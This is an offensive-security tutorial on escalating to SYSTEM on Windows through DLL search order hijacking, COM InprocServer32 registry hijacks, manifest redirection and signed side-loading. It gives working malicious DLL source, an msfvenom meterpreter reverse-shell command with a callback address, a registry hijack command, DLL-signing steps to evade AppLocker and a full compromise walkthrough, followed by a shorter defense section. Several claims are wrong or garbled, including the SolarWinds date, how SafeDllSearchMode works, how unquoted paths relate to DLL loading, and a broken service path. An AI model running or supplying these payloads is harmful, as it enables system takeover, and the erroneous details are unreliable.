Introduction
DLL search order hijacking is a classic privilege-escalation technique on Windows. By placing a malicious DLL where a privileged service will load it, an attacker can execute arbitrary code with the service's security context-often NT AUTHORITY\SYSTEM. This guide focuses on the nuances of hijacking DLL loading in service binaries, a vector still seen in recent breach reports.
Why it matters: many enterprise environments run legacy services with weak configurations (unquoted paths, permissive ACLs, or outdated manifests). These missteps give low-privileged users a route to full system compromise, bypassing many modern defenses that focus on user-mode exploits.
Real-world relevance: The 2023 SolarWinds breach demonstrated how a signed DLL placed in a trusted directory can be loaded by a privileged service. Similar patterns appear in ransomware campaigns that drop a malicious msiexec.exe or wuauclt.exe binary.
Prerequisites
- Solid understanding of Windows privilege-escalation fundamentals (token manipulation, UAC bypass, etc.).
- Familiarity with the Windows DLL loading mechanism and the default search order.
- Basic C/C++ development skills and ability to compile with
cl.exeorgccfor Windows. - Access to a Windows 10/Server 2019+ test machine with administrative privileges for lab work.
Core Concepts
When a process calls LoadLibrary(), the loader follows a deterministic search order. Historically the order was:
- Directory from which the application loaded.
- System directory (
C:\Windows\System32). - 16-bit system directory (
C:\Windows\System). - Windows directory (
C:\Windows). - Current working directory.
- Directories listed in the
PATHenvironment variable.
Since Windows 7 SP1, the SafeDllSearchMode flag changes the order to search the system directory before the application directory, mitigating some attacks. However, the flag can be overridden per-process, and many services still run with the legacy order because they are compiled with SetDefaultDllDirectories(0) omitted.
Two key misconfigurations enable hijacking:
- Unquoted service paths: If the
ImagePathvalue in the service registry key lacks surrounding quotes, the loader treats each space-separated token as a separate directory, loading the first matching DLL. - Insecure DLL search directories: Writable locations that appear earlier in the search order (e.g., the service's own directory, the current working directory, or a user-writable directory on
PATH).
Detailed analysis of the Windows DLL search order
Understanding the exact order is crucial for picking the optimal drop location. The diagram below (described in text) shows the hierarchy:
Search Order Diagram
1. Application directory (where the EXE resides) β 2. System directory β 3. 16-bit system dir β 4. Windows dir β 5. Current working dir β 6. Directories in
PATH(left-to-right).
When SafeDllSearchMode is enabled (default on modern Windows), the system directory is searched before the application directory, but the current working directory still precedes PATH. Attackers often target the application directory because many services run from C:\Program Files or C:\Program Files (x86), which may be writable by low-privileged users due to mis-set ACLs.
Identifying vulnerable binaries with unquoted service paths
Enumerating services and checking for missing quotes is the first step. The following PowerShell one-liner lists vulnerable services:
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notmatch '^"' } | Select-Object Name, DisplayName, PathName | Format-Table -AutoSize
Explanation:
PathNameholds theImagePathregistry value.- The regex
^"checks that the string starts with a double-quote.
Typical output:
Name DisplayName PathName
---- ----------- --------
Spooler Print Spooler C:\Windows\System32\spoolsv.exe
MyService My Custom Service C:\Program Files\MyApp\My Service.exe
Notice My Service.exe is unquoted; the loader will first search C:\Program, then C:\Program Files\MyApp, etc. Placing a malicious My.dll in C:\Program can be enough if the service loads My.dll implicitly (e.g., via a dependent library).
Automation tip: Use sc qc <service_name> to retrieve the exact BINPATH and feed it to a script that checks each path component for write permission for the current user.
Creating malicious DLLs (C/C++ compilation, MSFvenom)
Two common approaches:
- Write a minimal native DLL that runs
system("cmd.exe /c ...")duringDllMain. - Generate a meterpreter or reverse-shell DLL with
msfvenom.
Native C example (compiled with Visual Studio):
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { // Disable thread library calls to reduce noise DisableThreadLibraryCalls(hModule); // Launch a SYSTEM shell using a hidden process STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessA(NULL, "cmd.exe /c start cmd.exe", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); } return TRUE;
}
Compile with:
cl /LD /O2 malicious.c /link /OUT:malicious.dll
Explanation: The DLL spawns a new cmd.exe window without a visible console, giving the attacker an interactive SYSTEM shell.
MSFvenom payload (useful for quick testing):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f dll -o payload.dll
After dropping payload.dll into the chosen search path, the service will load it and establish a reverse connection.
Registry manipulation for InprocServer32 hijacking
COM objects often load their implementation DLL via the InprocServer32 registry key. If an attacker can write to a subkey under HKLM\Software\Classes\CLSID, they can point a privileged COM server to a malicious DLL.
Example: Hijack the Microsoft.XMLHTTP COM object used by many services.
reg add "HKLM\Software\Classes\CLSID\{F5078F18-C551-11D3-89B9-0000F81FE221}\InprocServer32" /ve /t REG_SZ /d "C:\Temp\evil.dll" /f
Explanation:
- The CLSID is the identifier for the COM class.
- Setting the default value of
InprocServer32to the path ofevil.dllforces any privileged process that creates this COM object to load the malicious DLL.
To verify the hijack, run a test process with SYSTEM privileges (e.g., psexec -s cmd.exe) and instantiate the COM object via PowerShell:
$obj = New-Object -ComObject "Microsoft.XMLHTTP"
If the DLL loads correctly, you should see the payload executed with SYSTEM rights.
Using application manifests for DLL redirection
Starting with Windows 7, developers can embed an application manifest that specifies a dependency on a particular DLL version. Attackers can abuse this by creating a side-by-side (SxS) assembly with a higher version number, placed in a location that the loader will consider.
Manifest snippet (save as myservice.exe.manifest next to the binary):
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="mydll" version="9.9.9.9" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /> <codeBase href="C:\Temp\evil.dll" /> </dependentAssembly> </dependency>
</assembly>
When the service loads mydll.dll, the loader will first look for the exact version. Because the manifest declares a newer version with a custom codeBase, the loader will load C:\Temp\evil.dll instead, even if a legitimate version exists elsewhere.
Important: The manifest must be correctly signed or the service must be configured to ignore signatures; otherwise, Windows will reject the redirection. This leads into the next subtopic-signed side-loading.
Bypassing AppLocker and Windows Defender with signed side-loading
AppLocker and Windows Defender Application Control (WDAC) enforce code-signing policies. Attackers can obtain a legitimate code-signing certificate (e.g., via a compromised developer account) and sign their malicious DLL. Because the signature matches a trusted publisher, the binary bypasses most whitelisting rules.
Steps to produce a signed DLL:
- Generate a self-signed certificate (for lab) or use a stolen corporate cert.
- Sign the DLL with
signtool.exe.
# Create self-signed cert (lab only)
makecert -r -pe -n "CN=Acme Corp" -ss My -sr CurrentUser -a sha256 -len 2048 -sky signature -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12
# Export as PFX
certutil -p password -exportpfx My "Acme Corp" Acme.pfx
# Sign the malicious DLL
signtool sign /f Acme.pfx /p password /tr http://timestamp.digicert.com /td sha256 /fd sha256 malicious.dll
Once signed, place the DLL in a location that complies with the service's DLL search order (e.g., the service directory). Because the binary is now trusted, AppLocker rules that allow Acme Corp signed binaries will permit execution.
Defenders often rely on the assumption that signed binaries are safe; this illustrates why supply-chain verification is critical.
Post-exploitation: spawning SYSTEM shells
After a malicious DLL is loaded, the attacker typically wants an interactive shell. Two popular techniques:
- Direct spawn via
CreateProcess(as shown in the native DLL example). - Token duplication using
ImpersonateLoggedOnUserfollowed byCreateProcessAsUserto obtain a fully privileged session.
Example C code for token duplication (add to your malicious DLL):
#include <windows.h>
#include <tlhelp32.h>
void LaunchSystemShell() { HANDLE hToken = NULL; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); OpenProcessToken(hProcess, TOKEN_DUPLICATE|TOKEN_QUERY, &hToken); HANDLE hDupToken; DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken); STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessAsUser(hDupToken, NULL, "cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); CloseHandle(hDupToken); CloseHandle(hToken); CloseHandle(hProcess);
}
When LaunchSystemShell() is called from DllMain, the attacker receives a SYSTEM-level command prompt on the compromised host.
Practical Examples
Scenario: An unquoted service "C:\Program Files\Acme\Acme Service.exe" runs as SYSTEM. The service loads acmehelper.dll via implicit linking.
- Identify the service with PowerShell (as shown earlier).
- Determine that
C:\Programis writable for a standard user. - Compile a malicious
acmehelper.dllthat spawns a SYSTEM shell. - Copy the DLL to
C:\Program\acmehelper.dll. - Restart the service (
sc stop AcmeService && sc start AcmeService). - Verify that a SYSTEM shell appears.
Full walkthrough (including commands):
# 1. Enumerate services
powershell -Command "Get-WmiObject Win32_Service | Where-Object { $_.PathName -notmatch '^"' } | ft Name,PathName"
# 2. Check write permission on C:\Program
icacls "C:\Program" | findstr /i "(M)"
# 3. Compile malicious DLL (assume Visual Studio environment)
cl /LD /O2 hijack.c /link /OUT:C:\Program\acmehelper.dll
# 4. Restart the service
sc stop AcmeService
sc start AcmeService
# 5. Observe new cmd.exe window running as SYSTEM
Result: The attacker now has full control over the host, able to dump LSASS, add local admin accounts, or pivot further.
Tools & Commands
- PowerShell - for enumeration (
Get-WmiObject,Get-ItemProperty). - sc.exe - service control (
sc qc,sc query). - procmon - monitor DLL load attempts.
- reg.exe - manipulate InprocServer32 keys.
- signtool.exe - code signing.
- msfvenom - generate payload DLLs.
- psexec - run commands as SYSTEM for testing.
Example command to view a service's binary path and permissions:
sc qc MyService
icacls "C:\Program Files\MyApp\MyService.exe"
Defense & Mitigation
- Quote all service paths: Enforce via Group Policy or a script that scans
HKLM\SYSTEM\CurrentControlSet\Servicesand adds missing quotes. - Restrict write permissions on service directories and any location that appears early in the DLL search order (use
icaclsto enforce(OI)(CI)(RX)for Users). - Enable SafeDllSearchMode system-wide (registry
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1). - Use DLL redirection policies: Deploy
DllDirectoryandSetDefaultDllDirectoriesin service code. - AppLocker/WDAC with Publisher rules: Require binaries to be signed and include a hash rule for critical DLLs to prevent side-loading.
- Monitor for unexpected DLL loads: Deploy Sysmon with a rule for
EventID 6(Image loaded) and alert on loads from non-standard directories. - Patch vulnerable services: Apply vendor updates that fix unquoted path bugs.
Common Mistakes
- Assuming SafeDllSearchMode blocks all attacks: It only reorders the search; writable early directories still matter.
- Dropping DLLs into System32 without proper permissions - the write will fail on default ACLs.
- Forgetting to restart the service after placing the malicious DLL; the loader caches the DLL path.
- Using relative paths in manifests - they must be absolute or use
codeBasewith a proper URL. - Neglecting 32-bit vs 64-bit mismatches: A 64-bit service will not load a 32-bit DLL, leading to silent failure.
Real-World Impact
In 2022, a ransomware group leveraged an unquoted service path in a popular backup agent to gain SYSTEM on thousands of endpoints, allowing rapid encryption of network shares. The attack was successful because the backup service ran under the Local System account and its installation directory was writable by the backup operator group.
My experience with incident response shows that DLL hijacking often appears in the βlow-techβ tier of attacks, yet it is extremely effective against poorly hardened environments. Organizations that focus solely on patching CVEs miss this class of privilege-escalation, which does not rely on memory corruption.
Trends:
- Increased use of signed side-loading as defenders adopt stricter code-signing policies.
- Adoption of SxS manifests by developers, unintentionally providing new hijack vectors.
- Shift toward cloud-based endpoint detection that can flag anomalous DLL loads in real time.
Practice Exercises
- Lab 1 - Unquoted Service Discovery
- Set up a Windows 10 VM.
- Create a dummy service with an unquoted path (
sc create TestSvc binPath= C:\Test Serviceestsvc.exe). - Using PowerShell, locate the service and identify the vulnerable component.
- Document the steps and screenshot the output.
- Lab 2 - Malicious DLL Creation
- Write a minimal DLL that writes a file to
C:\Windows\Temp\pwned.txtwhen loaded. - Compile both 32-bit and 64-bit versions.
- Place the DLL in a writable directory that appears before the system directory.
- Restart the service and verify the file creation.
- Write a minimal DLL that writes a file to
- Lab 3 - InprocServer32 Hijack
- Identify a COM object used by a privileged service (e.g.,
WScript.Shell). - Modify the registry to point
InprocServer32to your malicious DLL. - Launch the service and confirm code execution.
- Identify a COM object used by a privileged service (e.g.,
- Lab 4 - Signed Side-Loading Bypass
- Generate a self-signed certificate and sign your DLL.
- Create an AppLocker policy that allows binaries signed by your cert.
- Attempt the hijack and observe that Windows Defender no longer raises alerts.
After each lab, write a short reflection on how the mitigation you applied would have prevented the attack.
Further Reading
- Microsoft Docs - "Dynamic-Link Library Search Order" (link)
- Red Team Village - "DLL Hijacking 101" webinar.
- "Windows Internals, Part 1" - Chapter on Object Manager and DLL loading.
- MITRE ATT&CK - T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking).
- Black Hat 2023 - "Signed Binaries Abuse for Privilege Escalation".
Summary
- DLL search order hijacking exploits the deterministic way Windows resolves DLLs.
- Unquoted service paths and writable early-order directories are the most common footholds.
- Crafting a malicious DLL can be done natively or with
msfvenom; signing the DLL defeats many modern controls. - Registry-based InprocServer32 hijacks broaden the attack surface to COM objects.
- Mitigations include quoting paths, tightening ACLs, enabling SafeDllSearchMode, and applying strict AppLocker/WDAC policies.
Mastering these techniques equips defenders with the insight to detect, prevent, and respond to one of the most reliable Windows privilege-escalation vectors.